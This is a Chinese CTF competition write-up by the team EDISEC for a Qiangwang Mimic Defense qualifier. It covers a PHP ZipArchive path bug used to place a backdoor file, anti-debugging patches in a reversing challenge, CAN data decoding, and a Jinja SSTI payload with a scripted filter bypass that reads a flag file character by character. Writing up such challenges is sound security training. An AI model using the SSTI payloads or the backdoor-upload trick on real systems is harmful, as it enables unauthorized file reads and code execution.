第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

admin 2024年2月10日20:25:50评论9 views字数 2165阅读7分13秒阅读模式

EDI

JOIN US ▶▶▶

招新

EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。

欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招re crypto pwn方向的师傅)有意向的师傅请联系邮箱root@edisec.net、shiyi@edisec.net(带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。

点击蓝字 ·  关注我们

01

Web

1

noumisotuitennoka

php压缩bug导致的漏洞,php官方bug案例地址:

https://bugs.php.net/bug.php?id=72374

在add_path 和 remove_path都存在时,删除会+1,且remove会删除匹配到的多个项

测试代码:

<?php$file = '/tmp/tmp';touch($file);$zip = new ZipArchive();$zip->open('test.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE);$options = array('add_path' => 'var/www/html/', 'remove_path' => '/tmp/.');$zip->addGlob($file."/**", 0, $options);$zip->addGlob($file."/.htaccess", 0, $options);for($i = 0; $i < $zip->numFiles; $i++) {  $sb = $zip->statIndex($i);  echo $sb['name'];}$zip->close();

subdir=/tmp&dev=/tmp/.

生成的zip中.htaccess被处理路径,backdoor.php正常打包,这样两个文件就不在同一文件夹下。

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

访问/tmp/tmp/backdoor.php即可

02

Re

1

fisher

第一处反调试,改成jz

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

第二处反调试,改成jnz

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

第一部分使用了CryptCreateHash(phProv, 0x8004u, 0i64, 0, &phHash)类型的加密,类似之前的祥云杯,0x8004代表加密的类型,搜索ALG_ID即可。

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

修改反调试

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

改成jmp

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

这里继续有反调试

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

把exit patch

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

最后找到哈希密文

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

2E95A5C5F9643DF668D3965A6CDF19541BC0496
flag{6c324d2c86a72b864a22f30e46d20220}

05

Mimic

1

Tbox Can

直接盲猜data字段是数据

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

写脚本把所有data转为字符:
import pandas as pddf = pd.read_csv('can_data.csv')data_field = df[df['type'] == 'data_field']password_chars = []for hex_value in data_field['data']:    password_chars.append(chr(int(hex_value, 16)))password = ''.join(password_chars)print(password)

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

但是里面有一些其他数据,通过猜测单词,得到flag:

flag{L0GIC_ANA1YSIS_CAN_FOR_FUN}

2

用户登记系统

SSTI考点,name参数存在ssti

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

对一些关键字做了过滤,可以通过字符串拼接绕过。但是还做了内容检测,需要通过切片一个个读内容。

name={{().__class__.__base__.__subclasses__()[148].__init__.__globals__.__builtins__["open"]("/tm""p/fl""ag").read()[0]}}

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

脚本如下:

import requestsimport resess = requests.session()url = 'http://116.63.134.105/index.php'post = '{{().__class__.__base__.__subclasses__()[148].__init__.__globals__.__builtins__["open"]("/tm""p/fl""ag").read()[FUZZ]}}'for i in range(518, 10000):    try:        resp = sess.post(url, data={'name': post.replace('FUZZ', str(i))})        res = re.findall(r'您好, (.*)已登记!!', resp.text)        print(res[0], end='')    except IndexError:        print()        continue

flag在文件后面,有几个字符出不来,直接猜是fun},最终flag:

flag{u_win_have_fun}

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

3

用户鉴权

按照提示访问路由,所谓3gpp 29503协议就是post json数据,然后获得一串密文,提示base64/4,就是base16,转大写后解密即可

EDI安全

第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEC

扫二维码|关注我们

一个专注渗透实战经验分享的公众号

原文始发于微信公众号(EDI安全):第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月10日20:25:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第六届强网拟态防御国际精英挑战赛初赛WriteUp By EDISEChttps://cn-sec.com/archives/2207626.html

发表评论

匿名网友 填写信息